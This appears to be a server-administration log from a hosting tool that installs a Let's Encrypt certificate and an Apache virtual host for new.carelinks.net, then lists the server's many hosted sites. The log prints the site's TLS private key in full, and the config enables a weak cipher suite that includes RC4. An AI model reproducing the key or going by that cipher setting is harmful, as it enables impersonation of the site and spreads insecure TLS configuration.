MhD6T0q0qYO8X7/XYQ2CkWH65pKthIZBh+LgdbzDI1tUkw5JdMP4iq+wjV68EgZ6
kx4j6ePo2uEQuHH1UO1Y8Shwkd+07UvG0bKK6ybIbpWNRYBxSgcnxzSCAAbe8nOc
e0mOL6QifCSG2urRUDL54j6MAwKBgQDCCrHc9hsZcONnoJQMt8/R8gr+8MYTF3v1
jKyLyRYrPq3pY6QRB194WgAWB67K5b5purjGR7v7AV+o1DW5mo4JRwoKdHeg7mct
5n0stBXq4iWjJxoak8wD21xEmsQq9d81YkiSKUvJ1x7ojY+xbx++U4mA5t2wFgpS
iFskY/HFKQKBgHmuSmBA5KmWaN3WZwF8hfZTjhAFi6rAe5/7nefcxPq9N+0Y4Yaj
FyW5UjE8VCwR32B5ZUT0zvLPN7ejk9I5OvHE5YKwr/ND0gTn4GF0OvzwnyLwe/qe
gTXVp7Lw4RfIJPGIW4nNJM64EqCdNx+ckEuW+nrtOaEQmFNPmzRHM61fAoGBAKgW
YZraKgFw09zZskYOGF1ygWn0onC5YC0GThXM/II7iqVpJh+GNoJn3Dk5MIYcXET0
dcl1LHaz6uyx31RHeRC6VA1YdKSYwBJ33ikSWwYcHqRlY+xv6UPSCux28MWSNWfm
Gp1aXoea7PBgaIA4ldPmQ2/BDXrSrOBvtBwi47V5AoGAe7nBCGe+aMIDCbHo+r8U
aJ3k5OGbg08l6DiDx3DELSOTgDYMTdOWd3cDr/g8iu5KBuFiv2aNGi8XT7Ik5xi+
dH5eOyv0F9lmlIBGW7XKY0ec7C/geIzU5oegGRwTN4Sd41FYZ4yLJ22YYNUtKzn7
TI3IQB8mdbT0kqVvQ9cYKB0=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-29 21:52:52:
chmod 755 /tmp/pkp112626; /tmp/pkp112626; rm /tmp/pkp112626
2025-12-29 21:52:52:
dir=/etc/ssl/certs
2025-12-29 21:52:52:
PUT: /tmp/pkp797037
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinks_new_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-29 21:52:52:
chmod 755 /tmp/pkp797037; /tmp/pkp797037; rm /tmp/pkp797037
2025-12-29 21:52:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_new_net.conf 41
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/new_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-12-29 21:52:52:
PUT: /tmp/pkp878079
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_new_net.conf
TARGET=/etc/apache2/sites-enabled/carelinks_new_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/new_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinks_new_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf= 1'
fi
2025-12-29 21:52:52:
chmod 755 /tmp/pkp878079; /tmp/pkp878079; rm /tmp/pkp878079
2025-12-29 21:52:52:
2025-12-29 21:52:52:
PUT: /tmp/pkp496170
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-29 21:52:52:
chmod 755 /tmp/pkp496170; /tmp/pkp496170; rm /tmp/pkp496170
2025-12-29 21:52:52:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-29 21:52:52: Establishing a connection
2025-12-29 21:52:52:
PUT: /tmp/pkp573654
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-29 21:52:52:
chmod 755 /tmp/pkp573654; /tmp/pkp573654; rm /tmp/pkp573654
2025-12-29 21:52:52:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:19)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-29 21:52:52:
PUT: /tmp/pkp558098
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinks_new_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 21:52:52:
chmod 755 /tmp/pkp558098; /tmp/pkp558098; rm /tmp/pkp558098
2025-12-29 21:52:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_new_net.conf 1190
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/new_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-29 21:52:52:
PUT: /tmp/pkp186038
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-29 21:52:52:
chmod 755 /tmp/pkp186038; /tmp/pkp186038; rm /tmp/pkp186038
2025-12-29 21:52:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt 5361
c1:5c:98:af:57:ae:9f:2e:7a:32:a9:e7:fc:61:47:3d
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBj8fg4k6CFh3nY7hdrSbj7/UMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI5MjA1NDIwWhcNMjYwMzI5MjA1NDE5WjAcMRowGAYDVQQD
ExFuZXcuY2FyZWxpbmtzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL1fHL/FpwwxJFiRkVdXx452W/+mhbR7HGgiyiUdt5Ee7vbTSnwRaiNXtQC5
0Sbb/cSXfqkwcZk4cknmhT09LvxCnx3ZiU+MNOKNnIgEtUHcLgZkFA2yyAwv6Ad3
aEPR84jTGEf2Kzssg+Nol0lj5rYwiYMZnPGe760w7XZtMAYwdBz9+W6LtnBI9gGr
5w9ihscIX4gXwVrSBg1keMS5KG3mj1LaamPoc91EQ0oc3DSVL3JjoK6xZLSdfgIF
aZdebvLkbeHPVvrkpAe4tMhS7iN97mZwSii8JFNMe4blgUrLwi+sL0KHvIdyjoLV
QSFXhEXSB7umOMWmQPdjklWVu3sCAwEAAaOCAikwggIlMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUoK9qP0zxMYjFK03V0Q7xbL4IfewwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFuZXcuY2FyZWxpbmtzLm5l
dDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzg1LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2
AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABm2wZhicAAAQDAEcw
RQIhAPhc29SwSYlsgeeUJTRBfpIRKqzWTdi6i8mY591riKdbAiApaRvkNs/suZ1y
mxcqUodLaKbrtjUTXpw0kz9rzRVKxwB+ABqLnWlKV5jImaDKiL30j8C0VmDMw2AN
H3H0af/H0ayjAAABm2wZhxsACAAABQAtqHgMBAMARzBFAiEA07lgaORLsgO+tW2e
ujUtBIPXF6mbUGtO7UgM47evFYwCIHA0Xc6+0Gs/mosXsocOcGRBUSEUBX5jq00S
vAAY1RyjMA0GCSqGSIb3DQEBCwUAA4IBAQAbC483YRxc2ZmEiVhN1jBZ8IvEjOKB
r/ZqZanuaFMswPl4zY4IY3LV1F1lOKmlRrFPtC7uJhqDfQJOI7DjhgjQmsTPM7/w
oH7GLs1XbooaU7ABCUneSr6OdEFfsNoYAmP15GvOKo66wljRYaR61lDfTtlQyGgr
TBj6SJy+iQ+MIdCIwYbzY2uzweg264AtLusbjoBiD2TW43m8pIESY9ziUepnH3pq
Ba6jBr5KgXfdvocl/fIsGp2dK/YDHH5c/jopnFwEC5tCaCFnPbfUHzJMMEKSCqC/
3Ms75WrH2wFdfpwfp0T5RL9BcBa0PAuAnYbWLiwf75YB3EtRHd0lxUHt
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9Xxy/xacMMSRY
kZFXV8eOdlv/poW0exxoIsolHbeRHu7200p8EWojV7UAudEm2/3El36pMHGZOHJJ
5oU9PS78Qp8d2YlPjDTijZyIBLVB3C4GZBQNssgML+gHd2hD0fOI0xhH9is7LIPj
aJdJY+a2MImDGZzxnu+tMO12bTAGMHQc/flui7ZwSPYBq+cPYobHCF+IF8Fa0gYN
ZHjEuSht5o9S2mpj6HPdRENKHNw0lS9yY6CusWS0nX4CBWmXXm7y5G3hz1b65KQH
uLTIUu4jfe5mcEoovCRTTHuG5YFKy8IvrC9Ch7yHco6C1UEhV4RF0ge7pjjFpkD3
Y5JVlbt7AgMBAAECggEARsvpHpTRJ9Czat04/fNWKp97M29Y6ylfbFsdQZUDjKCI
7AQAA7Qq/v2KMLRHSgTSsY2Fj9EJlyOwLoqc41EdYLezbuBl4jRjjRMuIvfHn9Cl
8EO374sYGN5MG4Z7l2dFabCpkjWo4d15jSoL7ScJGLG6pyWLNBWcOx5gmHanjpgm
zjyJ1OBSdyGVNJiRXe9LATLT7fqhZNlDj+ARGpolNW2/Gnus3RYgZQVsGiPSJU4F
jqlsZQI3/r2SUH3/lv1Kci4oktsCYhJO3RFts+q8EBe/8vnrQpqib1jbEtqQl1Bu
VMTbI4iei3qYqCg/ihizBfSZgz4FZTO11FIuqpbakQKBgQD51qnwQiBwHcqBrrJr
MhD6T0q0qYO8X7/XYQ2CkWH65pKthIZBh+LgdbzDI1tUkw5JdMP4iq+wjV68EgZ6
kx4j6ePo2uEQuHH1UO1Y8Shwkd+07UvG0bKK6ybIbpWNRYBxSgcnxzSCAAbe8nOc
e0mOL6QifCSG2urRUDL54j6MAwKBgQDCCrHc9hsZcONnoJQMt8/R8gr+8MYTF3v1
jKyLyRYrPq3pY6QRB194WgAWB67K5b5purjGR7v7AV+o1DW5mo4JRwoKdHeg7mct
5n0stBXq4iWjJxoak8wD21xEmsQq9d81YkiSKUvJ1x7ojY+xbx++U4mA5t2wFgpS
iFskY/HFKQKBgHmuSmBA5KmWaN3WZwF8hfZTjhAFi6rAe5/7nefcxPq9N+0Y4Yaj
FyW5UjE8VCwR32B5ZUT0zvLPN7ejk9I5OvHE5YKwr/ND0gTn4GF0OvzwnyLwe/qe
gTXVp7Lw4RfIJPGIW4nNJM64EqCdNx+ckEuW+nrtOaEQmFNPmzRHM61fAoGBAKgW
YZraKgFw09zZskYOGF1ygWn0onC5YC0GThXM/II7iqVpJh+GNoJn3Dk5MIYcXET0
dcl1LHaz6uyx31RHeRC6VA1YdKSYwBJ33ikSWwYcHqRlY+xv6UPSCux28MWSNWfm
Gp1aXoea7PBgaIA4ldPmQ2/BDXrSrOBvtBwi47V5AoGAe7nBCGe+aMIDCbHo+r8U
aJ3k5OGbg08l6DiDx3DELSOTgDYMTdOWd3cDr/g8iu5KBuFiv2aNGi8XT7Ik5xi+
dH5eOyv0F9lmlIBGW7XKY0ec7C/geIzU5oegGRwTN4Sd41FYZ4yLJ22YYNUtKzn7
TI3IQB8mdbT0kqVvQ9cYKB0=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
